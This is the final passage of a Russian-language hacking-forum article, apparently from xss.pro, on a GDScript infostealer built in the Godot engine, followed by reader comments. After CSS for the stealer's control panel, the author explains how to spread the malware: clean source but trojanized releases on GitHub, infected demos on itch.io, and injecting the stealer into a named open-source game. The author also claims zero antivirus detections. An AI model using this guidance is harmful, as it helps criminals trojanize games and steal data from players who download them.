   color: #e0e0e0;
}


h1 {
   text-align: center;
   color: #e0e0e0;
   font-size: 2.5em;
   margin-bottom: 20px;
}


/* Стили для таблицы */
table {
   width: 100%;
   margin-top: 20px;
   border-collapse: collapse;
   background-color: #2d2d2d;
}


th, td {
   padding: 10px;
   text-align: left;
   border: 1px solid #575757;
}


th {
   background-color: #3e3e3e;
   color: #d5d5d5;
   font-weight: bold;
}


tr:nth-child(even) {
   background-color: #333;
}


tr:hover {
   background-color: #4c4c4c;
}


/* Стили для кнопки скачивания */
button {
   background-color: #5eaf00;
   color: white;
   padding: 8px 16px;
   border: none;
   border-radius: 5px;
   cursor: pointer;
   font-size: 1em;
   transition: background-color 0.3s ease, transform 0.2s ease;
}


button:hover {
   background-color: #4d9e00;
}


button:active {
   background-color: #4b8b00;
   transform: scale(0.98);
}


button:focus {
   outline: none;
}

Теперь, когда весь проект написан, можем перейти к просмотру того, как выглядит панель и сам лог нашего Godot-стилера.
Посмотреть вложение 102106
Посмотреть вложение 102107
Посмотреть вложение 102108
Посмотреть вложение 102109

Методы распространения​

Теперь немного можно поговорить о том, как распространять данный стиллер. В начале статьи уже давалась ссылка о том, как подобный софт распространяли, а именно — через GitHub репозитории с играми.

GitHub​

Есть несколько вариантов, как сделать это через GitHub:
  1. Голый скрипт внутри исходников какой-либо игры. Разумеется, это очень опасно, так как существует шанс, что даже если проект игры огромный, кто-то начнёт разбираться в его исходниках и заметит скрипт и адрес, куда всё отправляется. Так что этот метод мне кажется не самым лучшим.
  2. В исходниках приложить чистый проект игры, а в релизе указать скомпилированный проект уже с нашим скриптом. Как правило, когда кто-то хочет взять проект игры, сначала скачивают его демо-версию, поэтому шанс того, что человек скачает релизную версию, довольно велик.

itch.io​

Также демку игры можно распространять на сайте для инди-разработчиков itch.io. Поток пользователей на данном сайте достаточно большой, и скачивают и запускают даже самые простые игры, типа змейки, так что вам будет достаточно найти исходники любого 2D проекта, прикрутить скрипт, скомпилировать и загрузить на сайт. Так как малварь написан на GDScript, его не обнаружат, поэтому на данном сайте он может "пролежать" довольно долго. Это также относится и к GitHub.
Посмотреть вложение 102110

Встраиваем стиллер в чужой проект игры​

С методами распространения разобрались, теперь рассмотрим, как наш малварь встроить в рандомную игру. Для примера была взята эта игра — https://github.com/TinyTakinTeller/GodotProjectZero.

После импортирования проекта в Godot, переходим к главной ноде и открываем скрипт игры.
Посмотреть вложение 102111
Посмотреть вложение 102112
Пихаем в любое место этого скрипта наш малварь, начиная со строки с функцией _enter_tree().
Посмотреть вложение 102113

Компилируем игру со стиллером​

Посмотреть вложение 102114
Посмотреть вложение 102115
Посмотреть вложение 102116
Посмотреть вложение 102117

После компиляции игры у нас будет два файла. Собственно говоря, просто запускаем exe файл, и в итоге у нас запустится игра и малварь в том числе.
Посмотреть вложение 102118

Детекты​

А что же по детектам? А ничего, их просто напросто нет и не будет
Ссылка на VirusTotal - https://www.virustotal.com/gui/file/3704990acd39d295419cf23d64f69be55628022a3a1e442065ffd05594a1e358
Посмотреть вложение 102119

Итоги статьи​

На этом статья подходит к своему заключению и что же мы имеем по итогу?
Малварь с нулевыми детектами.
Простой способ встраивания малваря в различные сторонние проекты.
Легкий и эффективный способ распространения для самых маленьких.

Ну и пожалуй на этом все, спасибо всем кто дочитал данную статью, надеюсь она вам понравилась.​

Разработано специально для конкурса статей на форуме xss.pro​

Нормальный контент :D
 
В теории,это вообще не паханое поле,ТС ждём от тебя статью про малварь на GML . (Game maker) ))
а кстати не плоха идея то) надо загуглить все движки игровые и на каждом сделать)))
 
В теории,это вообще не паханое поле,ТС ждём от тебя статью про малварь на GML . (Game maker) ))
надеюсь ты не забыл поучавствовать в голосовании и проголосовать за тех кто тебе понравился?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх